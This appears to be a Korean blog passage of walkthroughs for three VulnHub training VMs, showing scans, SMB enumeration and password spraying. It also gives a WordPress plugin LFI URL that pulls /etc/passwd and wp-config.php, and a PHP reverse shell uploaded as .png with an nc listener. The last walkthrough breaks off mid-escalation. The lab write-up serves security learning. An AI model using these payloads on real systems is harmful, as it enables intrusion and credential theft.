https://www.vulnhub.com/entry/lazysysadmin-1,205/

 

LazySysAdmin: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

 

실습 환경 : VirtualBox

 

정보 수집

└─$ sudo nmap -sn 192.168.45.0/24 -oA ./recon/target-ip 

Nmap scan report for 192.168.45.65
Host is up (0.00099s latency).
MAC Address: 08:00:27:A3:23:CF (Oracle VirtualBox virtual NIC)

파싱하는 연습도 꾸준히 해줍니다

 

└─$ nmap -p 22,80,139,445,3306,6667 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open 192.168.45.65 -oA ./recon/tcpDetailed 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 14:42 KST
Nmap scan report for 192.168.45.65
Host is up (0.00053s latency).
                                       
PORT     STATE SERVICE     VERSION                                            
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:               
|   1024 b5:38:66:0f:a1:ee:cd:41:69:3b:82:cf:ad:a1:f7:13 (DSA)
|   2048 58:5a:63:69:d0:da:dd:51:cc:c1:6e:00:fd:7e:61:d0 (RSA) 
|   256 61:30:f3:55:1a:0d:de:c8:6a:59:5b:c9:9c:b4:92:04 (ECDSA)                                                                                              
|_  256 1f:65:c0:dd:15:e6:e4:21:f2:c1:9b:a3:b6:55:a0:45 (ED25519)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 4 disallowed entries  
|_/old/ /test/ /TR2/ /Backnode_files/                                         
|_http-generator: Silex v2.2.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode                                                        
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)                                                                                   
3306/tcp open  mysql       MySQL (unauthorized)             
6667/tcp open  irc         InspIRCd
| irc-info:                                                                   
|   server: Admin.local
|   users: 1
|   servers: 1
|   chans: 0
|   lusers: 1
|   lservers: 0
|   source ident: nmap
|   source host: 192.168.45.219
|_  error: Closing link: (nmap@192.168.45.219) [Client exited]
Service Info: Hosts: LAZYSYSADMIN, Admin.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2024-06-23T05:42:57
|_  start_date: N/A
|_clock-skew: mean: -3h20m01s, deviation: 5h46m24s, median: -1s
|_nbstat: NetBIOS name: LAZYSYSADMIN, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: lazysysadmin
|   NetBIOS computer name: LAZYSYSADMIN\x00
|   Domain name: \x00
|   FQDN: lazysysadmin
|_  System time: 2024-06-23T15:42:57+10:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.60 seconds

저는 항상 nmap 기본 스크립트와 서비스 배너그래빙을 이용하여 디테일한 정보 수집도 같이 진행을 합니다!

이제는 하나하나 살펴보겠습니다

 

SSH

openssh 6.6.1p1 버전을 가지고 있는 ssh 네요 한번 접속해봅니다

로그인할 때 뜨는 배너로도 정보수집이 가능하다는 것을 느끼고 매번 관리자 권한으로 ssh 접속을 해봅니다

 

WEB

80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 4 disallowed entries  
|_/old/ /test/ /TR2/ /Backnode_files/                                         
|_http-generator: Silex v2.2.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Backnode

nmap을 통한 정보수집을 해서 얻은 정보입니다. 하지만 직접 접속해보는 것이 짱이겠죠

backnode라는 어떤 회사의 랜딩페이지 인거같네요. 페이지 소스에서는 별다른 이상없고 robots.txt를 들어가보죠

크롤링을 허용하지 않는 엔드포인트가 4개가 있네요

 

/Backnode_files/ 엔드포인트에서는 사진이나 jquery 등등 웹사이트를 구성하는 페이지 소스코드가 있는데, 여기에 어떤 버전을 사용했는지에 대한 정보가 뜹니다. 이 또한 취약점이 될 수 있습니다.

더 다른 디렉터리를 확인하기 위해서 gobuster 툴을 이용하여 디렉터리 브루트포싱 공격을 실시합니다

wordpress 그리고 phpmyadmin이 존재했습니다

블로그도 운영을 하고 있었네요. 더 자세한 것은 취약점 진단할때 조금더 파보도록하고 다음 SMB에 대한 정보 수집을 추가로 하죠

 

SMB

share$에 접속해봅시다

웹서버 디렉터리를 smb share로 공유해놓은거같네요 웹사이트에서 찾지 못한 todolist.txt 그리고 deets.txt 파일을 가져와서 읽어보겠습니다

초기 비밀번호는 12345 라고 하네요,, ctf 이름대로 정말,,,게으른 sysadmin 입니다..

그 다음 로컬 파일 브라우저를 통해서 관리자와 관련된 무엇을 볼 수 있나보네요..

 

그리고 wordpress 디렉터리에서 wp-config.php 파일을 가져옵니다

이 ctf 거의 끝낫네요..?

획득한 비밀번호로 phpmyadmin에 접속해줍니다

wp_users 테이블을 봤는데 admin 유저만 있는 것을 확인

admin 이름은 togie 인것 같네요

 

그럼 현재 가지고 있는 정보가 admin 밖에 없으니 ssh를 향해서 비밀번호 스프레잉 공격을 해서 비밀번호를 한번 찾아볼까요?

너무 합니다...togie.....

 

초기 침투 및 권한 상승

togie유저에 대한 비밀번호 스프레잉 공격으로 비밀번호를 획득 -> SSH 접속

후속 정보 수집할 필요도 없이 sudoers에 ALL : ALL.. 그냥 모든 권한이 있는거같군요 빠르게 대상 호스트 관리자 계정까지 장악을 완료했습니다

 

'Vulnhub' 카테고리의 다른 글

[Vulnhub] DC: 9 Walkthrough  (0) 2024.06.25
[Vulnhub] VulnOS: 2 Walkthrough  (0) 2024.06.24
[Vulnhub] stapler Walkthrough  (1) 2024.06.22
[Vulnhub] FristiLeaks: 1.3 Walkthrough  (0) 2024.06.20
[Vulnhub] Kioptrix_Level_1.3(#4) Walkthrough  (0) 2024.06.19

https://www.vulnhub.com/entry/stapler-1,150/

 

Stapler: 1

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

매번 실습을 하면서 느끼는 거지만 나중에 보고서를 작성하거나, 지금처럼 블로그 글을 쓸때도 좀 정리를 잘해야 써야겠다. 라는 느낌을 많이 받고 있습니다...저 신경을 써서 작성해야겠어요!! 아자아자 화이팅!!!

 

실습 환경 : VirtualBox

 

정보 수집

저는 Nmap을 통해서 대상 호스트가 어떤 IP를 가지고 있는지 확인을 하는데, netdiscover 이라는 IP 탐색 툴도 있으니 참고하시면 됩니다.

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.220
Host is up (0.00069s latency).
MAC Address: 08:00:27:F1:43:8D (Oracle VirtualBox virtual NIC)

 

└─$ nmap -p- --max-retries 1 --min-rate 1500 -Pn -n --open 192.168.45.220 -oA tcpAll               
Nmap scan report for 192.168.45.220
Host is up (0.00046s latency).
Not shown: 65523 filtered tcp ports (no-response), 4 closed tcp ports (conn-refused)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn
666/tcp   open  doom
3306/tcp  open  mysql
12380/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 86.97 seconds

# 포트번호 파싱
└─$ cat tcpAll.nmap | grep '/tcp' | cut -d '/' -f 1 | paste -s -d ','
21,22,53,80,139,666,3306,12380
# 디테일한 정보 수집
└─$ nmap -p 21,22,53,80,139,666,3306,12380 --max-retries 1 --max-rate 2500 -sV -sC -Pn -n --open 192.168.45.220 -oA tcpDetailed
PORT      STATE SERVICE     VERSION                                           
21/tcp    open  ftp         vsftpd 2.0.8 or later                             
| ftp-syst:                                                                   
|   STAT:                                                                     
| FTP server status:                                                          
|      Connected to 192.168.45.219                                            
|      Logged in as ftp                                                       
|      TYPE: ASCII                                                            
|      No session bandwidth limit      
|      Session timeout in seconds is 300                                      
|      Control connection is plain text                                       
|      Data connections will be plain text                                    
|      At session startup, client count was 1                                 
|      vsFTPd 3.0.3 - secure, fast, stable                                    
|_End of status                    
| ftp-anon: Anonymous FTP login allowed (FTP code 230)                        
|_Can't get directory listing: PASV failed: 550 Permission denied.            
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)                                                                              
| ssh-hostkey:                         
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)                
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)               
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)             
53/tcp    open  domain      dnsmasq 2.75                                      
| dns-nsid:                            
|_  bind.version: dnsmasq-2.75         
80/tcp    open  http        PHP cli server 5.5 or later                       
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).           
139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)    
666/tcp   open  tcpwrapped                                                    
3306/tcp  open  mysql       MySQL 5.7.12-0ubuntu1                                                                                                            
| mysql-info:                                                                                                                                                
|   Protocol: 10                     
|   Version: 5.7.12-0ubuntu1                                                                                                                                 
|   Thread ID: 10                                                             
|   Capabilities flags: 63487          
|   Some Capabilities: Support41Auth, LongColumnFlag, Speaks41ProtocolOld, DontAllowDatabaseTableColumn, SupportsTransactions, ODBCClient, IgnoreSigpipes, Co
nnectWithDatabase, Speaks41ProtocolNew, LongPassword, SupportsCompression, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, FoundRows,
 SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults      
|   Status: Autocommit                                                        
|   Salt: }..9j\x196    eH\x0Bg<`Ht\x02%6g                                    
|_  Auth Plugin Name: mysql_native_password                                   
12380/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))                    
|_http-title: Site doesn't have a title (text/html).                          
|_http-server-header: Apache/2.4.18 (Ubuntu)                                  
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel            
                                       
Host script results:                                                          
| smb2-security-mode:                                                         
|   3:1:1:                                                                    
|_    Message signing enabled but not required                                
| smb-security-mode:                                                          
|   account_used: guest            
|   authentication_level: user                                                
|   challenge_response: supported                                             
|_  message_signing: disabled (dangerous, but default)                                                                                                       
| smb2-time:                           
|   date: 2024-06-20T19:09:07                                                 
|_  start_date: N/A                                                           
| smb-os-discovery:                                                           
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)                                      
|   Computer name: red                 
|   NetBIOS computer name: RED\x00     
|   Domain name: \x00                                                         
|   FQDN: red                                                                 
|_  System time: 2024-06-20T20:09:07+01:00                                    
|_clock-skew: mean: -13h20m16s, deviation: 34m37s, median: -13h00m17s         
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
# Enumeration Port Scanning Res
21 - ftp - vsftpd 2.0.8
22 - ssh - openssh 7.2p2
53 - dns - dnsmasq 2.75
80 - http - php cli server 5.5
139 - smb - smbd 4.3.9
666 - tcpwrapped - doom?
3306 - mysql - mysql 5.7.12
12380 -  http -apache httpd 2.4.18

 

 

FTP(21)

Nmap을 통한 정보 수집에서는 Anonymous login이 허용되어 있었는데요 한번 확인해보겠습니다

anonymous:anonymous 를 이용해서 ftp 서버에 접근했고 note 라는 파일이 있어 파일을 가져왔습니다

└─$ cat note  
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.

john이 elly에게 페이로드 정보를 업데이트하고 ftp 계정에 파일을 저장하라고 하네요

 

 

SSH(22)

optnssh 7.2p2 버전을 사용하고 있으며 ftp에서 직원들의 이름이 나오는 것을 보아 ssh로 접근했을 떄도 나오지 않을 까 싶어 접속해봅니다

직원들의 이름이 하나씩 뜨는게 뭔가 나중에 유용하겠죠?

 

WEB(80, 12380)

80 - http - php cli server 5.5

12380 - http - apache httpd 2.4.18

 

 80번은 php cli 서버를 사용하고 12380은 아파치 웹 서버를 운영하는 것으로 보입니다.

80에 먼저 접속해서 페이지소스나 디렉터리 브루트포싱을 진행해봤는데 .bashrc 그리고 .profile 뭔가 유저의 홈디렉터리에 숨김 파일들을 찾았습니다 하지만 별다른 특이점은 없어보이네요...

 

 

이번엔 12380 포트로 접속해봅니다

 

아직 웹사이트 오픈 전 제작하고 있는 모습의 웹 사이트 입니다. 타이틀에 Tim 이라는 직원 그리고 Initech 라는 회사 인것 같네요 gobuster를 이용해서 디렉터리 브루트포싱을 진행하는데 별다른 디렉터리를 찾지 못하고 페이지 이동이 뭔가 잘 안되고 부자연스러운 느낌이라서 nikto를 이용하여 추가적인 정보 수집을 했다.

 

└─$ nikto -h 192.168.45.220:12380 -ssl
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.45.220
+ Target Hostname:    192.168.45.220
+ Target Port:        12380
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time:         2024-06-21 18:28:53 (GMT9)

 

SSL 정보가 뜨는 것을 보아 https 로 진행해야할 것같다. drib 툴을 이용하여 다시 디렉터리 브루트포싱 진행

└─$ cat dirb-12380 | head -n50                                                                                                                               
                                                                                                                                                             
-----------------                                                                                                                                            
DIRB v2.22                                                                                                                                                   
By The Dark Raver                                                                                                                                            
-----------------                                                                                                                                            
                                                                              
START_TIME: Fri Jun 21 18:34:04 2024                                                                                                                         
URL_BASE: https://192.168.45.220:12380/                                                                                                                      
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt                      
                                                                                                                                                             
-----------------                                                                                                                                            
                                                                              
GENERATED WORDS: 4612                                                                                                                                        

---- Scanning URL: https://192.168.45.220:12380/ ----
==> DIRECTORY: https://192.168.45.220:12380/announcements/                                                                                                   
+ https://192.168.45.220:12380/index.html (CODE:200|SIZE:21)                                                                                                 
==> DIRECTORY: https://192.168.45.220:12380/javascript/                                                                                                      
==> DIRECTORY: https://192.168.45.220:12380/phpmyadmin/                                                                                                      
+ https://192.168.45.220:12380/robots.txt (CODE:200|SIZE:59)                                                                                                 
+ https://192.168.45.220:12380/server-status (CODE:403|SIZE:305)

https를 왜 생각지도 못했을까...반성한다

 

 

initech 회사의 블로그인것 같다 john의 풀네임을 찾았고 게시글을 보며 다른 직원의 이름으로 추정되는 것을 찾았다

 

 

웹을 통한 정보 수집은 이 쯤에서 해두고 다른 포트에 대해서도 정보 수집한다

 

smb(139)

한번 smb 프로토콜에 대해서 추가 정보 수집을 해봐야겠습니다. enum4linux를 통해 정보 수집을 했는데 흥미로운 것들이 좀 나오는 군요

null share도 사용이 가능하다 라는 거죠

 

그리고 웹에서 찾았던 회사 유저들의 이름...속 시원하게 SMB에 연결된 Local User들을 한번에 찾았습니다

혹시모르니 파싱해서 유저들의 정보 가지고 있어야겠죠?

└─$ cat enum4linux_res | grep -i 'local user' | cut -d '\' -f 2 | cut -d ' ' -f 1 > initech_user.txt
                                                                                                                                                             
└─$ cat initech_user.txt 
peter
RNunemaker
ETollefson
DSwanger
AParnell
SHayslett
MBassin
JBare
LSolum
IChadwick
MFrei
SStroud
CCeaser
JKanode
CJoo
Eeth
LSolum2
JLipps
jamie
Sam
Drew
jess
SHAY
Taylor
mel
kai
zoe
NATHAN
www
elly
nobody

 

tmp와 kathy로 직접 접속해보았지만 tmp에서는 별다른 것이 없었다.

kathy에서 파일을 가져와 확인해보았습니다

└─$ cat todo-list.txt                                                                    
I'm making sure to backup anything important for Initech, Kathy

 

중요한 것을 백업하고 있다는  kathy, 아마 config 파일이나 그런 것들이겠죠?? 그리고 wp에 대한 정보도 떳는데 웹에서  /blogblog는 wp로 만들어진 블로그였죠?? 이제 어느정도 가닥이 나오네요

 

666

666번 포트는 좀 생소해서 검색을 해보니 DOOM이라는 게임의 포트라는데,,, nc 명령어로 리스닝 해보겠습니다

뭔가 이상한 문자가 뜨니깐 리다이렉션 해서 한번 가져와봅니다

┌──(kali㉿kali)-[~/vulnhub/stapler]
└─$ nc 192.168.45.220 666 > 666_port

┌──(kali㉿kali)-[~/vulnhub/stapler]
└─$ file 666_port      
666_port: Zip archive data, at least v2.0 to extract, compression method=deflate

zip 파일이었네요!

└─$ unzip 666_port                                                            
Archive:  666_port                                                                                                                                           
  inflating: message2.jpg

이런 이미지 파일이었어요!

 

취약점 진단

wordpress로 사내 블로그를 운영하는 것을 알았으니, wpscan을 이용하여 정보를 수집하고 취약점 진단까지 실시하겠습니다

└─$ wpscan --url https://192.168.45.220:12380/blogblog --disable-tls-checks --enumerate u

 

 

10개 정도의 유저 정보를 알아냈습니다

# vi initech_blog.txt
John Smith
john
garry
elly
peter
barry
heather
harry
scott
kathy
tim

 

rockyou.txt에서 500개 정도를 가져와서 비밀번호 브루트포싱을 진행했는데, 3개 정도는 파악을 완료했습니다 

블로그 글에서 플러그인을 다운받았다는 것을 확인하고 wp-content에서 플러그인 파일을 확인했습니다.

 

취약점이 하나 뜨네요

 

 

익스플로잇

wordpress 플로그인을 이용해 LFI 공격이 가능한 취약점을 발견했고, 이를 이용하여 익스플로잇을 진행하겠습니다

39646.py 파일을 보면 

이 부분이 있을 겁니다. 저 주소를 각자의 실습 VM에 맞게 수정해줍니다 

https://192.168.45.220:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=/etc/passwd

저 같은 경우 개념증명을 하기 위해서 대상 호스트에 /etc/passwd 파일을 가져오는 걸로 테스트를 했습니다

 

이렇게 주소창에 입력을 합니다

주소창에 입력을 하면 아래와 같은 url을 하나 반환하는데 들어가보면 아래와 같이 에러가 발생합니다

당황하지 말고 /blogblog/wp-content/uploads로 들어가줍니다.

이렇게 새로 생성된 jpeg 파일이 있을 것인데 이것을 그냥 확인하면 비어있는 사진 파일만 떠서 이게 뭐지 싶습니다...

kali linu 에서 사진의 경로를 복사해준 다음 아래의 명령어를 사용하여 다운받아줍니다

└─$ wget --no-check-certificate https://192.168.45.220:12380/blogblog/wp-content/uploads/238615377.jpeg

보이시나요?? 대상 호스트의 /etc/passwd 파일을 LFI를 이용해 가져온것을 확인할 수 있습니다

이제는 진짜 익스플로잇을 해야죠??

https://192.168.45.220:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

위와 같이 주소창에 입력해준후 이전 파일을 다운 받는 과정을 반복해줍니다

 

 

대상 호스트는 3306인 데이터베이스 서버가 열려있기 때문에 외부에서 접속해봅니다

└─$ mysql -u root -p -h 192.168.45.220
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 292
Server version: 5.7.12-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

데이터베이스에서 wordpress user에 대한 정보도 획득할 수 있는데 덤프를 해와서 유저 목록만 파싱을 하겠습니다

이후 유저 목록을 정리한뒤 config.php 파일에서 얻었던 plbkac을 비밀번호 스프레잉 브루트포싱 공격을 통해서 SSH 로 바로 접근하는 경로가 있는지 확인할 것입니다

간단하게 파싱 완료 이후 hydra 툴을 이용해서 비밀번호 스프레잉 공격을 할 것인데, 비밀번호 스프레잉은 실습 환경이라서 그냥 막 하겠습니다

zoe 라는 직원으로 접속이 가능하겠군요

 

권한 상승

우선 많은 유저가 있었던 걸로 기억을 해서 /home에 들어가서 다른 유저의 .bash_history를 발견했는데 아래의 명령어를 사용하여 나열해서 확인했습니다

find -name ".bash_history" -exec cat {} \;

history에 남아있는 비밀번호가 진짜 비밀번호 인것을 확인했고 sudo -l 을 했을때 권한 상승 할 방법은 없네요

Kanode@red:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for JKanode: 
Sorry, user JKanode may not run sudo on red.

그럼 두번째로 peter로 접속해봅니다

쉘이 굉장히 독특한 zsh 이네요

그리고 peter는 아주 강력한 직원이었습니다

네 권한 상승 완료했습니다. history 파일에 남겨져있는 기록도 아주 중요하게 생각합니다. 그래서 권한 상승할때 가장 우선적으로 확인하는거같네요 이렇게 이번 stapler 는 성공적으로 마무리하겠습니다

제 기준에서는 중간정도 난이도 였던거같아요 이전에 했던것들과 달리 분산되어있는 정보가 많다보니깐 정리하는게 살짝 많이 미숙했네요.. 모의해킹을 이틀정도 진행했는데 아직 더 화이팅 해야겠어요!!

 

➜  ~ cat flag.txt 
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
<fla.....................g>

https://www.vulnhub.com/entry/fristileaks-13,133/

 

FristiLeaks: 1.3

This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. It's common for an author to release multiple 'scenarios', making up a 'series' of machines to attack.

www.vulnhub.com

실습 환경 : VirtualBox

 

VirtualBox에서 파일 -> 가상머신 가져오기 -> 다운받은 ova 파일 선택 -> 설정 -> 네트워크 -> 어뎁터에 브릿지

이렇게 설정만 해주었고, 특별한 것은 없었습니다. 

 

정보 수집

└─$ sudo nmap -sn 192.168.45.0/24
...
Nmap scan report for 192.168.45.64
Host is up (0.00020s latency).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
...

 

이번엔 가장 흔히 사용하는 포트 1000개에 대해서 포트 스캐닝을 해보겠습니다

└─$ sudo nmap --top-ports 1000 --max-retries 1 --min-rate 1500 -Pn -n --open 192.168.45.64 -oA tcp-1000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:05 KST
Nmap scan report for 192.168.45.64
Host is up (0.00044s latency).
Not shown: 992 filtered tcp ports (no-response), 7 filtered tcp ports (host-prohibited)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.68 seconds

 

유일하게 80번 포트만 열려있다.

└─$ nmap -p 80 --max-retries 1 --min-rate 2000 -sV -sC -Pn -n --open  192.168.45.64 -oA tcpDetailed           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-20 17:06 KST
Nmap scan report for 192.168.45.64
Host is up (0.00046s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries 
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
| http-methods: 
|_  Potentially risky methods: TRACE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.74 seconds

robots.txt 가 존재하고 허용되지 않는 엔드포인트는 3개가 있다

 

WEB

대상 호스트의 웹 페이지 페이지 소스에서는 별 다른 점은 없고 주석으로 뭔가 설명하는 글이 적혀있네요

<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA

Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->

robots.txt의 Disallow는 늘 흥미를 불러일으키죠

3개의 엔드포인트는 전부다,,단서가 될만한 것은 없습니다. 페이지 소스에서도 마찬가지였습니다

 

첫 웹사이트 페이지 사진에 나와있는 단어들을 포함시켜 gobuster를 이용하여 디렉터리 브루트포싱을 진행합니다 robots.txt에 있었던 디렉터리는 제외시킵니다

 

└─$ cat dirbrute.txt 
keep
calm
and
drink
fristi

 

 

하나 건졌네요

/fristi 로 접속해봅시다. 혹시 SQL Injection이 될 수도 있으니 ' 를 넣어 테스트해봤는데 취약한점 발견하지 못했다.

페이지 소스를 확인해본 결과

<!-- 
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->

eezeepz 라는 이름을 발견했고, 주석표시된 base64로 인코딩된 코드가 발견되었습니다

<!-- 
iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx
jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl
S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw
B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f
m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ
Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb
DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd
jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU
12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5
uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1
04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq
i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg
tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws
30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl
3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK
ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q
mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34
rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe
EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH
AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk
CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR
U5ErkJggg==
-->

base64 디코딩을 해봤지만 아닌거 같았고, https://base64.guru/converter/decode/image 사이트에서 이미지로 변환하는 방법을 사용해 봅니다

이번 실습 VM 제작자는 유쾌하신분 인가봅니다..ㅋㅋㅋ

keKkeKKeKKeKkEkkEk 비밀번호일거같은 느낌이 확왔습니다

# credentials

eezeepz:keKkeKKeKKeKkEkkEk

 

익스플로잇

그러네요 맞습니다. 파일을 업로드하라는 것을 보니 php-reverse-shell.php를 준비해야겠죠?? 바로 준비해서 파일을 업로드해봅시다

그러네요 확장자가 정해져있었어요

└─$ mv php-reverse-shell.php revshell.php.png

확장자를 png로 바꾸고 업로드를하니 성공했습니다. 파일 업로드를하니 파일은 /uploads에 업로드되었다고 친절히 알려주네요

# revse shell listening
└─$ nc -nlvp 3434

 

 

파일 업로드 우회 공격을 통해서 대상 호스트에 초기 침투 까지 완료했습니다

 

권한 상

대상 호스트에 초기 침투까지 완료했습니다. 우선 /etc/passwd 부터 확인을 해줍니다

bash-4.1$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
